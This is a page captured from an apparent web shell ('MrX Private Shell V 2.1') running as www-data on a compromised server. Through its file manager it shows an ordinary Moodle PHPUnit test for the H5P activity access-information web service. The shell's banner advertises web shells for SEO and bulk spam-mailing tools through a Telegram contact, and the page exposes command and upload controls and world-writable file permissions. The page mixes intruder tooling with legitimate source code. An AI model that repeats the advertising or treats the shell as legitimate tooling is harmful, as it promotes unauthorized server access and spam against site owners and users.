__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * External function test for get_h5pactivity_access_information.
 *
 * @package    mod_h5pactivity
 * @category   external
 * @since      Moodle 3.9
 * @copyright  2020 Carlos Escobedo <carlos@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

namespace mod_h5pactivity\external;

defined('MOODLE_INTERNAL') || die();

global $CFG;
require_once($CFG->dirroot . '/webservice/tests/helpers.php');

use dml_missing_record_exception;
use core_external\external_api;
use externallib_advanced_testcase;

/**
 * External function test for get_h5pactivity_access_information.
 *
 * @package    mod_h5pactivity
 * @copyright  2020 Carlos Escobedo <carlos@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
final class get_h5pactivity_access_information_test extends externallib_advanced_testcase {

    /**
     * Test the behaviour of get_h5pactivity_access_information().
     *
     * @dataProvider get_h5pactivity_access_information_data
     * @param string $role user role in course
     * @param int $enabletracking if tracking is enabled
     * @param array $enabledcaps capabilities enabled
     */
    public function test_get_h5pactivity_access_information(string $role, int $enabletracking, array $enabledcaps): void {
        $this->resetAfterTest();
        $this->setAdminUser();

        $course = $this->getDataGenerator()->create_course();
        $activity = $this->getDataGenerator()->create_module('h5pactivity',
            [
                'course' => $course,
                'enabletracking' => $enabletracking
            ]
        );

        if ($role) {
            $user = $this->getDataGenerator()->create_and_enrol($course, $role);
            $this->setUser($user);
        }

        // Check the access information.
        $result = get_h5pactivity_access_information::execute($activity->id);
        $result = external_api::clean_returnvalue(get_h5pactivity_access_information::execute_returns(), $result);
        $this->assertCount(0, $result['warnings']);
        unset($result['warnings']);

        // Check the values for capabilities.
        foreach ($result as $capname => $capvalue) {
            if (in_array($capname, $enabledcaps)) {
                $this->assertTrue($capvalue);
            } else {
                $this->assertFalse($capvalue);
            }
        }
    }

    /**
     * Data provider for get_h5pactivity_access_information.
     *
     * @return array
     */
    public static function get_h5pactivity_access_information_data(): array {
        return [
            'Admin, tracking enabled' => [
                '', 1, ['canview', 'canreviewattempts', 'canaddinstance']
            ],
            'Admin, tracking disabled' => [
                '', 0, ['canview', 'canreviewattempts', 'canaddinstance']
            ],
            'Student, tracking enabled' => [
                'student', 1, ['canview', 'cansubmit']
            ],
            'Student, tracking disabled' => [
                'student', 0, ['canview']
            ],
            'Teacher, tracking enabled' => [
                'editingteacher', 1, [
                    'canview',
                    'canreviewattempts',
                    'canaddinstance'
                ]
            ],
            'Teacher, tracking disabled' => [
                'editingteacher', 0, [
                    'canview',
                    'canreviewattempts',
                    'canaddinstance'
                ]
            ],
        ];
    }

    /**
     * Test dml_missing_record_exception in get_h5pactivity_access_information.
     */
    public function test_dml_missing_record_exception(): void {
        $this->resetAfterTest();
        $this->setAdminUser();

        $course = $this->getDataGenerator()->create_course();

        // Call the WS using an unexisting h5pactivityid.
        $this->expectException(dml_missing_record_exception::class);
        $result = get_h5pactivity_access_information::execute(1);
    }
}

Filemanager

Name Type Size Permission Actions
get_attempts_test.php File 20.8 KB 0777
get_h5pactivities_by_courses_test.php File 10.22 KB 0777
get_h5pactivity_access_information_test.php File 4.62 KB 0777
get_results_test.php File 16.41 KB 0777
get_user_attempts_test.php File 9.22 KB 0777
log_report_viewed_test.php File 4.31 KB 0777
view_h5pactivity_test.php File 5.26 KB 0777
Filemanager